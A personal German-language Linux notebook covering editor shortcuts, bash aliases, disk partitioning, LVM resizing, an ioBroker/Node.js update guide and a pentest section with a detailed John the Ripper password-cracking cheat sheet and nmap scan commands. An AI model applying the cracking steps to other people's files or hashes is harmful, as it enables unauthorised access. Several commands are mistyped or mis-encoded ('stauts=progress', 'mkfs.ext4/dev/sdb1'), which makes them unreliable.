Alt + E | Wiederholen |
Crtl + W | Suchen |
Esc + B | Zum umschalten (Toogle) |
Crtl + \ | Suchen + Ersetzen |
Crtl + G | Hilfe |
Crtl + R | Weitere Datei öffnen (vorher mit Esc - F) Dann würd eine neue Datei geöffnet. Mit Crtl + T Browser öffnen |
Alt + < oder > | Zwischen den geöffneten Dateien wechseln |
Esc - X | Hilfe ein und ausschalten |
Esc - C | Zeilennummer anschauen lassen |
Esc - P | Kontrollmarker anzeigen lassen |
Esc - O | Stellt den Tabulator um |
Esc - Y | Syntaxhighlighting |
Crtl + T | Ausführen |
Nano mit der Konfigurationsdatei anpassen
nano /etc/nanorc
z. B. Zeilennummern anzeigen lassen
set linenumbers
Texteditor vi
Befehl | Kommentar | |
vi |
vi file1.md |
Startet den vi Editor (sofern installiert) |
i |
startet den Insert Mode | |
esc |
Insertmode wird beendet |
|
:wq |
Datei schreiben und beenden |
Bash konfigurieren
System
Informationen anzeigen
`cat/etc/*_ver* /ect/*-rel*`
Terminal-Interna
Befehl | Beschreibung |
bind |
Tastenbelegung im Terminal. Beispiel bind '"\C_L":kill-whole-line' "\\C" = Strg, "\\e" = Alt, "\\n" = Enter Bind-Befehle können Sie interaktiv ausprobieren. Sie gelten bis zum Schließen des Terminals. Für permanente Gültigkeit benötigen Sie einen Eintrag in der „\~/.bashrc“. |
|
Dauerhaftes einbinden ~/.bash_aliases bearbeiten | Befehle und tastenkombinatinen hinterlegen | alias checkupdates='sudo apt-get update && sudo apt-get upgrade -y' |
file |
Beschreibung: ermittelt den Dateityp und die genauen inhaltlichen Dateieigenschaften |
htop |
Beschreibung: Taskmanager für den Terminal |
Festplatte |
|
hdparm -c /dev/sda |
Festplatte überprüfen |
hdparm -Y /dev/sda |
Festplatte geht in den StandbyModus |
ls -la /dev/disk/by-id/ |
zeigt alle Festplatten mit der ID an. |
|
nano /etc/hdparm.conf |
Weitere Dienste
Datenträger Klonen
sudo dd if=/dev/sda of=/dev/sdb # if = Quelle of = Ziel
# Mit Status:
sudo dd if=/dev/sda of=/dev/sdb stauts=progress
Datenträger formatieren
# Datenträger anzeigen
sudo fdisk -I
# Formatieren in ext4
mkfs.ext4/dev/sdb1 # Damit wir der Datenträger sdb1 in ext4 formatiert. mkfs steht für make filesystem
Formatieren mit GParted
# GParted installieren
apt install parted
# F
unmount /dev/sdb1
Linux in deutsch
Systemsprache umstellen
sudo dpkg-reconfigure locales
Tastatur Layout umstellen
sudo dpkg-reconfigure keyboard-configuration
Paketdienst installieren
$ sudo apt update && sudo apt install snapd
Installiert Snap
Programme mit Snap installieren
sudo snap install onionshare
Metadaten aus Dateien (PDF) entfernen
> exiftool -all:all= datei-print.pdf
Warning: [minor] ExifTool PDF edits are reversible. Deleted tags may be recovered!
1 image files update
> qpdf --linearize datei-print.pdf datei-clean.pdf
> rm datei-print.pdf
Mit dem Befehl kann man die Daten überprüfen:
exiftool -all:all datei-clean.pdf
Administrator
sudo -s
SSH auf Container aktivieren
Datei: /etc/ssh/sshd_config
Authentication: PermitRootLogin yes
Bash Aliases
Mithilfe von bash_aliases kann man sich "Kurzbefehle" für die Konsole erstellen. Dadurch wird durch Eingabe von z.B. 'checkupdates' der Standardbefehl fürs updaten ausgeführt.
weitere hier: jonshu.com/blog/bash-command-line-shortcuts/
###############################
## Bash-Einstellungen Pelzer ##
###############################
alias ini='nano ~/.bash_aliases'
alias readme='nano ~/readme.md'
alias cls='clear'
alias pyserver='python3 -m http.server 4444'
alias checkupdates='sudo apt-get update && sudo apt-get upgrade -y'
bind '"\en":"nmap -sP 10.1.1.*"'
bind '"\C-L":kill-whole-line'
Festplatten in Linux
Linux: Festplatten und Partitionen im Terminal anzeigen
Wichtige Befehle
Befehl | Auswirkung |
lsblk |
Übersichtliche Baumstrucktur aller Festplatten und Partitionen |
df -h |
Freien Speicherplatz anzeigen lassen |
sudo lvextend -l 100%VG ubuntu-vg/ubuntu-lv |
Weist den Speicherplatz der Partition zu Wenn sda3 30G - ubuntu--vg-ubuntu-vl 15G Danch sind die vollen 30G Ubuntu zugewiesen und weiter |
Formatieren
herausfinden welche Festplatte
Um in ext4 zu formatieren
mkfs.ext4 /dev/sdb1
Partitionieren
- öffnet ein Terminal, indem ihr gleichzeitig die Tasten **Strg + Alt + T **drückt.
- Der Befehl
lsblk
zeigt euch in einer Baumstruktur übersichtlich an, welche Partition zu welcher Festplatte gehört und wie groß sie sind. - Die erste Festplatte lautet sda. Ihre Partitionen lauten sda1, sda2, sda3 etc.
- Die zweite Festplatte lautet sdb. Ihre Partitionen lauten sdb1, sdb2, sdb3 etc.
- Der Befehl
blkid -o list
zeigt euch zusätzlich noch die UUID, den Dateisystemtyp und die Bezeichnung der Partition an (sofern vergeben).
![Diese beiden Befehle geben euch eine Übersicht über eure Partitionen und Festplatten][2]
Diese beiden Befehle geben euch eine Übersicht über eure Partitionen und Festplatten
In unserem Beispiel hat unsere erste Festplatte sda folgende Partitionen:
- sda1: Von Windows angelegte Efi-Boot-System-Partition.
- sda2: Von Windows angelegte System-Reservierte-Partition.
- sda3: Partition, auf der Windows installiert ist (Bezeichnung: Windows).
- sda4: Partition, auf der Linux Mint installiert ist.
- sda5: SWAP-Partition für Linux Mint
Die zweite Festplatte sdb hat nur eine Partition:
- sdb1: Partition für Eigene Dateien, Programme und Spiele (Bezeichnung: Daten).
Alternative
Alternative gebt ihr im Terminal sudo fdisk -l
ein und bestätigt mit eurem Passwort. Nun seht ihr eine ähnliche hilfreiche Ansicht:
![Auch der Befehl zeigt eine strukturierte Übersicht an.][2]
Auch der Befehl zeigt eine strukturierte Übersicht an.
Beachtet, dass in der Spalte Typ nicht der Dateisystem-Typ gemeint ist, sondern eine manchmal recht ungenaue Bezeichnung.
Hier findet ihr übrigens unsere Top-Software 2018 für Linux Mint:
Einbinden zusätzlicher Festplatten unter Linux
In diesem Tutorial möchten wir Ihnen zeigen, wie zusätzliche Festplatten unter Linux eingebunden und benutzt werden können.
Sollten Sie sich nicht sicher sein, ob Ihr Benutzer über die notwendigen Rechte verfügt, können Sie zu Beginn einer jeden SSH-Session das folgende Kommando ausführen:
sudo -i
Nach Ausführung des Kommandos erhalten Sie weiterführende (Root-) Berechtigungen ohne das Kommando „sudo“ jedem Befehl auf der Kommandozeile voranstellen zu müssen.
Zunächst einmal verschaffen wir uns einen Überblick über alle Disks, welche vom System erkannt werden. Dies machen wir mit folgendem Befehl:
fdisk -l
In unserem Beispiel sind zwei Festplatten verbaut: /dev/sda, die Festplatte, auf der das System installiert ist, sowie /dev/sdb, eine zusätzliche 50 GiB-Festplatte, welche wir in unser Betriebssystem einbinden möchten. Die Festplattenbezeichnung kann variieren, je nachdem, wie viele Festplatten in Ihrem Server eingebaut sind.
Zunächst einmal müssen wir eine Partition erstellen sowie gegebenenfalls eine Partitionstabelle schreiben. Selbstverständlich können auch mehrere Partitionen erstellt und eingebunden werden, in diesem Beispiel möchten wir jedoch die ganze Kapazität der Festplatte für eine Partition nutzen.
Hierzu verwenden wir cfdisk, die grafische Version von fdisk.
cfdisk /dev/sdb
Sollte auf der Festplatte noch keine Partitionstabelle vorhanden sein, öffnet sich nun ein Auswahlmenü:
Für unser Beispiel wählen wir dos. Hiermit wird eine MBR-Partitionstabelle auf die Festplatte geschrieben (für Festplatten, welche die Kapazität von 2 TB übersteigen, müssten wir GPT verwenden, um die gesamte Kapazität nutzen zu können).
Danach öffnet sich folgendes Fenster:
Nun können wir unsere Partition(en) erstellen. Wir erstellen eine 50 GiB-Partition, indem wir 50G eingeben und mit der Enter-Taste bestätigen.
Im nachfolgenden Dialog wählen wir primary, um eine Primäre Partition anzulegen.
Wir bestätigen das Ganze mit Write und tippen yes ein, um das Erstellen der Partition abzuschließen.
Um nun aber wirklich Daten auf die Festplatte schreiben zu können, müssen wir die angelegte Partition noch mit einem Filesystem ausstatten. Wir wählen also Quit, um die Oberfläche von cfdisk zu verlassen und vergewissern uns zunächst, ob die Partition ordnungsgemäß angelegt wurde. Dies machen wir abermals mit folgendem Befehl:
fdisk -l
Unsere erstellte Partition wird als /dev/sdb1 gelistet. Es ist also alles wie gewünscht verlaufen.
Wir formatieren die Partition nun mit einem Filesystem, in unserem Beispiel ext4. Wir tippen folgendes in unsere Konsole ein:
mkfs.ext4 /dev/sdb1
Die Formatierung der Partition ist hiermit abgeschlossen. Um jetzt Dateien auf der Festplatte speichern zu können müssen wir die Partition in unser System einbinden.
Dazu erstellen wir einen neuen Ordner, alle Dateien, die nach Abschluss der Prozedur in diesen Ordner erstellt oder verschoben werden, werden auf der neuen Festplatte gespeichert. In unserem Beispiel verwenden wir den Namen datastore für unseren Ordner, der Name ist jedoch frei wählbar. Mit folgendem Befehl erstellen wir den Ordner:
mkdir /datastore
Um die Partition nun in den erstellten Ordner einzubinden, benutzen wir folgenden Befehl:
mount /dev/sdb1 /datastore
Unsere erstellte Partition ist nun in /datastore eingebunden.
Damit die Partition auch nach einem Neustart des Servers wieder automatisch eingebunden wird, müssen wir noch die UUID unserer neuen Partition sowie eine Zeile in der /etc/fstab hinzufügen. Dazu führen wir zunächst folgenden Befehl aus:
blkid /dev/sdb1
Die UUID unserer Partition wird uns nun angezeigt. Diese kopieren wir uns ohne Anführungszeichen und öffnen die Datei /etc/fstab
nano /etc/fstab
Mit den Pfeiltasten navigieren wir den Cursor an das Ende der Datei und fügen folgende Zeile hinzu:
UUID=d6ae62ff-c9b7-4a07-aea8-a36f55c5036d /datastore ext4 defaults 0 0
Die UUID ist natürlich mit der eigenen, mittels blkid ausgelesenen UUID zu ersetzen.
Grafische Anzeige der Festplatten-Partitionen
- Öffnet das Startmenü und öffnet das Programm Systemüberwachung.
- Klickt oben auf den Reiter Dateisysteme.
Festplatten Analysieren
Unter Linux: Festplattenbelegung analysieren
wenn nicht installiert: sudo apt-get install baobab
Platzfresser auflisten
Welche Dateien und Ordner belegen den meisten Plattenplatz? Auf SSDs und auf Platinenrechnern mit SD-Karten ist diese Frage wieder aktueller denn je. Für die Antwort gibt es im Bash-Terminal zahlreiche Lösungen, unter anderem mit „find -size“ oder mit dem interaktiven Tool ncdu. Für wirklich frappierend schnelle Informationen sorgen die hier beschriebenen Kommandos.
du -S | sort -n -r | head -n 20
Schalter "-S" separiert die Ornder, damit nicht übergordnete Verzeichnisse automatisch zu Platzfressern werden, sondern tatsächlich die dafür verantwortlichen Unterodner. Nach der numerischen und absteigenden Sortierung(sort) liefert head schließlich die größten Ordner. Die Zahl - hier 20 - lässt sich beliebig definieren. Für das Auffinden der größten Einzeldateien ist das Tool tree, das eventuell mit gleichnamigem Paketnamen nachinstalliert werden muss, das Werkzeug der Wahl. Das geeignete Kommando
tree -isf | sort -n -r -k2 | head -n 20
ähnelt dem du-Befehl, nur dass hier die Dateigröße nach Spalte 2 (-k2) sortiert werden muss. Wichtigster Schalter bei tree ist -s für die Anzeige der Dateigröße, die anschließend weiterverarbeitet wird.
Ubuntu Server Part erhöhen
Anyway, parts of the LVM structures (pv and vg) are already reflecting the new size. What is missing is the size of the logical volume and the size of the filesystem. As you can see from pvdisplay
and vgdisplay
, there are 503 extents = 1.96 GiB still free.
So, first increase the size of the logical volume to that of the volume group:
sudo lvextend -l 100%VG ubuntu-vg/ubuntu-lv
fdisk -l /dev/mapper/ubuntu--vg-ubuntu--lv
should then give you the new size of ~ 8.5 GB.
Now, increase the size of the filesystem to that of the logical volume (I suppose ext4 here for '/'; if it is a different filesystem, you will have to use a different command!):
sudo resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv
This is possible for a mounted filesystem, when the kernel supports it, which all recent kernels should do.
Ethical Hacking mit Python und Kali Linux
Kali Linux ist DAS Hacker Linux mit allen nötigen Tools um einen vernünftigen Pentest zu machen. Know your Enemy
Nmap
nmap -O ip-adresse # gibt unter anderem das Betriebssystem wieder
nmap -sV ip-adresse # gibt Versionen wieder
Metasploit
Burpsuite
Netcat
Social-Engineering Toolkit
Nikto
Scanning von Websiten
John the ripper
Filtermasken erstellen
Zun‰chst muss man aus einer Datei, die mit einem Passwort gesch¸tzt ist, den Hashwert herausbekommen. Das funktioniert mit
zip2john verschluesselt.zip > hast.txt
f¸r ein Zip File
pdf2john verschluesselt.pdf > hast.txt
sollte eigentlich das Passwort einer Zip-Datei herausfinden
Danach wird der Hashwert mit John the Ripper gekrackt:
john hash.txt
pdf2john funktionert nicht
git clone "https://github.com/magnumripper/JohnTheRipper.git" && cd JohnTheRipper/src && ./configure && sudo make -s clean && sudo make -sj4
John Maske
für nur buchstaben und Zahlen
--mask=[A-Za-z0-9] --max-length=6
Cheatsheet
oder als PDF jtr-cheat-sheet.pdf
John Resources
John Installation
Genau Beschreibung der Installation
git clone https://github.com/openwall/john -b bleeding-jumbo /data/tools/john ; cd /data/tools/john/src/ ; ./configure && make -s clean && make -sj4 ; cd ~
John Modes
- Wordlist mode (dictionary attack) -
john --wordlist=<wordlist> <hash>
- Mangling rules mode -
john --wordlist=<wordlist> --rules:<rulename> <hash>
- Incremental mode -
john --incremental <hash>
- External mode -
john --external:<rulename> <hash>
- Loopback mode (use .pot files) -
john --loopback <hash>
- Mask mode -
john --mask=?1?1?1?1?1?1?1?1 -1=[A-Z] -min-len=8 <hash>
- Markov mode -
calc_stat <wordlist> markovstats
john -markov:200 -max-len:12 --mkv-stats=markovstats <hash>
- Prince mode -
john --prince=<wordlist> <hash>
Refer the link for more examples.
CPU and GPU options
- List opencl devices -
john --list=opencl-devices
- List formats supported by opencl -
john --list=formats --format=opencl
- Use multiple CPU -
john hashes --wordlist:<wordlist> --rules:<rulename> --dev=2 --fork=4
- Use multiple GPU -
john hashes --format:<openclformat> --wordlist:<wordlist> --rules:<rulename> --dev=0,1 --fork=2
Rules
- Single
- wordlist
- Extra
- Jumbo (Single, wordlist and Extra)
- KoreLogic
- All (Single, wordlist, Extra and KoreLogic)
Incremental modes
- Lower (26 char)
- Alpha (52 char)
- Digits (10 char)
- Alnum (62 char)
New rule
[List.Rules:Tryout]
l [convert to lowercase]
u [convert to uppercase]
c [capitalize]
l r [lowercase and reverse (palindrome)]
l Az"2015" [lowercase and append "2015" at end of word]
l A0"2015" [lowercase and prepend "2015" at end of word]
d [duplicate]
A0"#"Az"#" [append and prepend "#"]
- Display password candidates -
john --wordlist=<wordlist> --stdout --rules:Tryout
- Generate password candidates -
john --wordlist=<wordlist> --stdout=8 --rules:Tryout
Other rules
C [lowercase first char, uppercase rest]
t [toggle case of all chars]
TN [toggle case of char in position N]
r [reverse word - test123 -> 321tset]
d [duplicate word - test123 -> test123test123]
f [reflect word - test123 -> test123321tset]
{ [rotate word left - test123 -> est123t]
} [rotate word right - test123 -> 3test12]
$X [append word with X]
^X [prefix word with X]
[ [remove first char]
] [remove last char]
DN [delete char in posision N]
xNM [extract from position N till M chars]
iNX [insert X in place of N and shift rest right]
oNX [overwrite N with X]
S [shift case - test123 -> TEST!@#]
V [lowercase vowels, uppercase consonents - test123 -> TeST123]
R [shift each char right, using keyboard key - test123 -> yrdy234]
L [shift each char left, using keyboard key - test123 -> rwar012]
<N [reject words unless less than length N]
>N [reject words unless greater than length N]
N [truncate to length N]
New charset
john --make-charset=set.char
Create john.conf
with character set config.
# Incremental modes
[Incremental:charset]
File = $JOHN/set.char
MinLen = 0
MaxLen = 30
CharCount = 80
john --incremental=charset <hash>
Wordlists
- Sort wordlist -
tr A-Z a-z < <wordlist> | sort -u > <new-wordlist>
- Generate wordlist using POT -
cut -d: -f2 john.pot | sort -u > pot.dict
- Generate candidate pwd for slow hash -
john --wordlist=<wordlist> --stdout --rules:Jumbo | unique -mem=25 <unique-wordlist>
External mode
- Create complex password list - link
- Generate wordlist according to complexity filter -
./john --wordlist=<wordlist> --stdout --external:<filter> > <filtered-wordlist>
- Use adjacent keys on
keyboard
-john --external:Keyboard <hash>
Misc Options
Dictionaries
- Generate wordlist from wikipedia -
wget https://raw.githubusercontent.com/zombiesam/wikigen/master/wwg.py ; python wwg.py -u http://pt.wikipedia.org/wiki/Fernando_Pessoa -t 5 -o fernandopessoa -m3
- Aspell dictionary -
apt-get install aspell-es
aspell dump dicts
aspell -d es dump master | aspell -l es expand | awk 1 RS=" |\n" > aspell.dic
John the Ripper installieren
John the Ripper is usually pre-installed in Kali Linux but if you don’t have it yet, you can follow the steps below to install it on a Linux-based machine.
If you are facing any challenges with Kali Linux, I suggest you go through getting started with Kali Linux article.
There are numerous ways of installing John the Ripper on your machine but we will look at some of the basic ones:
1. Installing from the source
Open the terminal by simultaneously holding Ctrl+Alt+T and run the command below.
mkdir src
This creates a directory where we’ll store all our files.
cd src
git clone https://github.com/openwall/john.git
This creates a directory named John
. To make it active, we need to run the command below.
cd john
cd src
./configure
Run the make
command to compile source code into executable programs and libraries. This might take some time depending on your machine and the resources allocated to it.
make
Lastly, run the make install
command to install John the Ripper.
make install
Run the commands below to see if the installation was successful.
cd ..
cd run
./john
ioBroker
Installation ioBroker
ioBroker Installation NEU:
nur noch EIN Befehl!
-
apt update && apt upgrade -y
-
apt install curl -y
-
curl -sLf https://iobroker.net/install.sh | bash -
ioBroker Update
Mit der Konsole folgendes auführen:
iob backup
iob stop
iob update
iob upgrade self
iob start
Node Update
WAS IST NODE.JS UND WARUM MUSS MAN ES UPDATEN?
Node.js ist die Laufzeitumgebung der Programmiersprache JavaScript, in der ioBroker geschrieben ist. Ohne Node.js funktioniert ioBroker nicht. Node.js hast Du initial selbst installiert oder der ioBroker-Installer hat dies für dich getan.
Wie bei vielen Open-Source-Technologien üblich, entwickelt sich Node.js schnell weiter. Kleinere Updates, die die Stabilität und Sicherheit steigern oder gar neue Funktionen hinzufügen, erscheinen regelmäßig.
Node.js-Versionen mit gerader Hauptversionsnummer werden als LTS-Versionen (Long Term Support) bezeichnet und einige Jahre gepflegt (z.B. 12.x). Jedes Jahr kommt eine neue Version ins LTS - in diesem Jahr (2021) ist das Node.js 16, welche im April veröffentlicht wurde und ab Oktober 2021 eine LTS Version wird.
Im gleichem Zug erreichen frühere LTS-Versionen ihr Lebensende (EOL, End of Life). So hat Node.js 8 im April 2020 den EOL-Status erhalten und bekommt damit keine Updates mehr, Nodejs 10.x wird Ende April 2021 Ihr Lebensende erreichen. Es wird also keine Sicherheits-Updates mehr geben! Node.js 12.x wird im April 2022 eol geben.
Alle Node.js-Versionen mit ungeraden Versionsnummern sind Entwicklungsversionen und sollten nicht produktiv genutzt werden.
ioBroker nutzt viele Module und Erweiterungen aus der JavaScript Open-Source Szene, und dort kommt es regelmäßig vor, dass Versionen die EOL gehen zeitnah danach auch nicht weiter unterstützt werden. Das hat im ersten Schritt keine echte Auswirkung, aber mittelfristig wird es also Adapter, und später auch den js-controller geben, der EOL Versionen von Node.js nicht mehr unterstützt.
Node.js 10 wird mit dem js-controller 3.x voll unterstützt. Ab dem js-controller 4.0 (Februar 2022) ist Node.js 10.x nicht mehr untertsützt.
AUF WELCHE NODE.JS VERSION UPDATEN?
Aktuell empfiehlt ioBroker die Nutzung von Node.js 16.x.
Folgende Adapter haben momentan Probleme mit Node.js 14:
- jeelink
Folgende Adapter haben momentan Probleme mit Node.js 16:
- jeelink?
*Node.js 16.x wird auch vom js-controller 3.3 grundsätzlich unterstützt, aber nur mit npm 6! npm 7 bzw 8 sind mit dem js-controller 4.0 nutzbar.
UPDATE VORBEREITEN
Node.js Version prüfen
Bevor man beginnt, sollte man in der Befehlszeile mit dem Befehl
node -v
überprüfen, welche Version von Node.js gerade installiert ist. Eine gute Idee ist es, diese Versionsangabe auch mit der Node.js-Version im Übersichts-Fenster des ioBroker-Admins für diesen Host zu vergleichen. Sollten sich die Versionen unterscheiden, sind mehrere Node.js-Varianten installiert, was zu Problemen führen kann. Diese Probleme müssen VOR dem Update dann behoben werden! Anleitung zB unter https://forum.iobroker.net/topic/35090/howto-nodejs-installation-und-upgrades-unter-debian/2
Betriebssystem prüfen
Dann auch prüfen was man für ein Betriebssystem hat. Vor allem im Raspi Umfeld sind gern auch älterer Systeme auf basis von "Debian jessie" oder "Debian wheezy" im Einsatz. Für die gibt es nichts was höher ist als Nodejs 10, da steht dann ggf auch ein Betriebssystemupdate an, was wir hier aber nicht behandeln können.
Unterstützte Linux Distributionen sind unter https://github.com/nodesource/distributions#debian-and-ubuntu-based-distributions aufgelistet.
Unter Debian und Ubuntu gibt es mit lsb_release -a
eine Ausgabe was man aktuell nutzt.
js-controller Version prüfen
Weiterhin bitte prüfen welche js-controller Version Installiert ist (ebenfalls auf dem Host-Tab im Admin einsehbar).
Bei Versionen VOR js-controller 3.x, wenn möglich bitte zuerst den js-controller aktualisieren. Am besten auf mindestens die 3.2! Hierzu gibt es extra Threads im Forum wie z.B. https://forum.iobroker.net/topic/42385/js-controller-3-2-jetzt-im-stable bzw https://forum.iobroker.net/topic/52886/js-controller-4-0-x-jetzt-für-alle-user-im-stable
Adapter aktualisieren
Damit es nach dem Update zu keinen Inkompatibilitäten oder Probleme kommt, sollte man alle Adapter prüfen und aktualisieren. Vor allem Adapter mit nativen Bestandteilen, wie alles mit Serialport oder Bluetooth können Probleme bereiten. Hier am besten die Adapter-Readme's per Admin oder im GitHub prüfen, ob neue Versionen zur Verfügung stehen die die geplante Node.js Version explizit erst unterstützen.
Bei Updates wo es größere Versionssprünge bei npm gibt (zb Node.js 14->16 updated npm von 6.x auf 8.x) kann es sehr hilfreich sein wenn man schaut ob Adapter die von GitHub installiert wurden inzwischen in der gleichen version auf auf npm liegen und dann ggf von dort nochmals installieren oder updaten. Im Admin werden Adapter die per GitHub installiert wurden gesondert mit einem GitHub Symbol angezeigt. Das hilft auch im Vorfeld Probleme zu vermeiden.
Wenn man diesen Schritt nicht durchführt kann es zu unnötigen Problemen beim update der Adapter kommen!
Backup erstellen
Zuerst muss natürlich unbedingt ein Backup erstellt werden. Dazu kann z.B. der BackItUp-Adapter genutzt oder der Kommandozeilenbefehl
cd /opt/iobroker
iobroker backup
ausgeführt werden. Das Backup sollte aktuell sein, damit möglichst keine Daten verloren gehen.
NODE.JS UPDATEN
Für Windows-Systeme kann ich leider gerade nichts genaues sagen, wir schauen das wir das noch ergänzen. Aufruf an die Community: Wer Schritte hat gern als eigener Post oder hier einbringen Danke
Einen Post aus der Community gab es dazu: https://forum.iobroker.net/post/624003
Linux-Systeme
ioBroker stoppen
Zuerst ioBroker stoppen, damit Updates keine Nebeneffekte oder Abstürze verursachen.
iobroker stop
Bitte anschließend im Webbrowser prüfen, dass der ioBroker-Admin danach wirklich nicht mehr läuft. Sollte er weiterhin aufrufbar sein, dann den Rechner neu starten und nochmals „iobroker stop“ ausführen und erneut testen. Für die Techniker unter uns: Man kann auch mit einem Tool wie "top" prüfen, ob noch Prozesse existieren, die mit "io." beginnen. Die dann am besten mit einem beherzten "sudo kill -9 <ProzessID>" zwangsbeenden.
Node.js updaten
Jetzt aktualisiert man Node.js auf die gewünschte neue Version.
Unter Linux reicht es, dazu den Nodesource-Installationsbefehl für das jeweilige Betriebssystem auszuführen. Verschiedene Varianten (auch Root und Nicht-Root) sind unter https://github.com/nodesource/distributions#debinstall gelistet.
Zum Beispiel lauten die Befehle für einen Raspberry Pi der ein Debian bzw. Raspbian-Image verwendet wie folgt, wenn man nicht als root-User (z.B. richtig mit dem User "pi") angemeldet ist:
curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt install -y nodejs
Für Node.js 16 einfach in der URL oben anstelle der 14 eine 16 reinschreiben.
Für macOS gibt einen Installer auf https://nodejs.org/en/download/ , den man einfach ausführt.
Ob die Aktualisierung geklappt hat, kann man wieder mit dem Befehl
node -v
überprüfen.
Auch die npm Version sollte mit
npm -v
geprüft werden. Mit einem js-controller <4 sicherstellen das idealerweise keine 7.x/8.x von npm installiert ist!
ioBroker fixer ausführen
Da die Installation von Node.js einige Einstellungen am System verändert haben kann, ist es jetzt ratsam, den ioBroker-Installationsfixer aufzurufen. Das geschieht mit dem Befehl
iobroker fix
Er stellt unter anderem die für den Betrieb von ioBroker notwendigen Sicherheitseinstellungen wieder her und prüft und korrigiert alle Berechtigungen. Das kann einen Augenblick dauern, bitte Geduld haben.
ERSTER IOBROKER NEUSTART NACH UPDATE
Einige genutzte JavaScript Module haben binäre Teile, welche bei einem Node.js Update nicht mehr kompatibel sind und neu erstellt werden müssen.
Automatische Rebuilds
ioBroker versucht seit dem js-controller 3.0 automatisch die Adapter zu erkennen die nicht starten weil Sie aktualisiert werden müssen. Dies funktioniert so das die typischen Fehlermeldungen erkannt werden und ioBroker dann die Aktualisierung versucht.
js-controller 3.x
Zuerst wird ein "rebuild" des betroffenen Adapters ausgeführt, falls das nicht hilft werden die Adapter-Abhängigkeiten aktualisiert.
js-controller 4.0
Zuerst wird versucht alle Adapter zu rebuilden, falls das nicht hilft wird versucht zielgerichtet die relevanten Module neu zu bauen.
Daher kann es sein das der Adapter mehrfach ersucht wird neu zu starten. Hier bitte UNBEDINGT Geduld haben! Erst wenn der Adapter dauerhaft rot bleibt und auch im Log steht das der Rebuild nicht geklappt hat aktiv werden!
Bei einigen Adaptern (zB iot die optionale native Abhängigkeiten haben) funktioniert die automatische Erkennung nicht und das rebuild muss manuell angestoßen werden. Dies kann dadurch erkannt werden das der Adapter "Rot" bleibt und nicht startet oder einzelne Funktionen nicht gehen und das als Fehler im Log steht. Dann sollte das Log geprüft werden (neben Admin stehen Logfiles auch unter /opt/iobroker/log/... zur Verfügung.
Manuelle Rebuilds
Hier zu gibt es iobroker rebuild
, bzw die Kommandos die im Log angezeigt werden falls der Automatische Rebuild nicht funktioniert.
Sonderfälle (z.B. Serialport)
Leider gibt es Sonderfälle, wo auch die obigen Optionen das Rebuild nicht erledigen, einer davon ist Serialport.
Dort kann ein Log zB (auch nach allen Rebuild Versuchen) wie folgt aussehen
host.SmartHomeCenter | 2020-05-10 09:28:01.788 | error | Caught by controller[0]: }
host.SmartHomeCenter | 2020-05-10 09:28:01.788 | error | Caught by controller[0]: ]
host.SmartHomeCenter | 2020-05-10 09:28:01.788 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/compiled/12.16.3/linux/arm/serialport.node'
host.SmartHomeCenter | 2020-05-10 09:28:01.787 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/build/default/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.787 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/Release/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.787 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/out/Release/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.787 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/Debug/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.787 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/out/Debug/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.786 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/build/Release/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.786 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/build/Debug/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.786 | error | Caught by controller[0]: '/opt/iobroker/node_modules/serialport/build/serialport.node',
host.SmartHomeCenter | 2020-05-10 09:28:01.786 | error | Caught by controller[0]: tries: [
host.SmartHomeCenter | 2020-05-10 09:28:01.786 | error | Caught by controller[0]: at Module._compile (internal/modules/cjs/loader.js:1133:30) {
host.SmartHomeCenter | 2020-05-10 09:28:01.785 | error | Caught by controller[0]: at Object. (/opt/iobroker/node_modules/serialport/lib/bindings/auto-detect.js:16:22)
host.SmartHomeCenter | 2020-05-10 09:28:01.785 | error | Caught by controller[0]: at require (internal/modules/cjs/helpers.js:77:18)
host.SmartHomeCenter | 2020-05-10 09:28:01.785 | error | Caught by controller[0]: at Module.require (internal/modules/cjs/loader.js:1019:19)
host.SmartHomeCenter | 2020-05-10 09:28:01.785 | error | Caught by controller[0]: at Function.Module._load (internal/modules/cjs/loader.js:877:14)
host.SmartHomeCenter | 2020-05-10 09:28:01.785 | error | Caught by controller[0]: at Module.load (internal/modules/cjs/loader.js:977:32)
host.SmartHomeCenter | 2020-05-10 09:28:01.784 | error | Caught by controller[0]: at Object.Module._extensions..js (internal/modules/cjs/loader.js:1153:10)
host.SmartHomeCenter | 2020-05-10 09:28:01.784 | error | Caught by controller[0]: at Module._compile (internal/modules/cjs/loader.js:1133:30)
host.SmartHomeCenter | 2020-05-10 09:28:01.784 | error | Caught by controller[0]: at Object. (/opt/iobroker/node_modules/serialport/lib/bindings/linux.js:2:36)
host.SmartHomeCenter | 2020-05-10 09:28:01.784 | error | Caught by controller[0]: at bindings (/opt/iobroker/node_modules/serialport/node_modules/bindings/bindings.js:93:9)
host.SmartHomeCenter | 2020-05-10 09:28:01.783 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/compiled/12.16.3/linux/arm/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.783 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/build/default/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.783 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/Release/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.783 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/out/Release/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.782 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/Debug/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.782 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/out/Debug/serialport.node
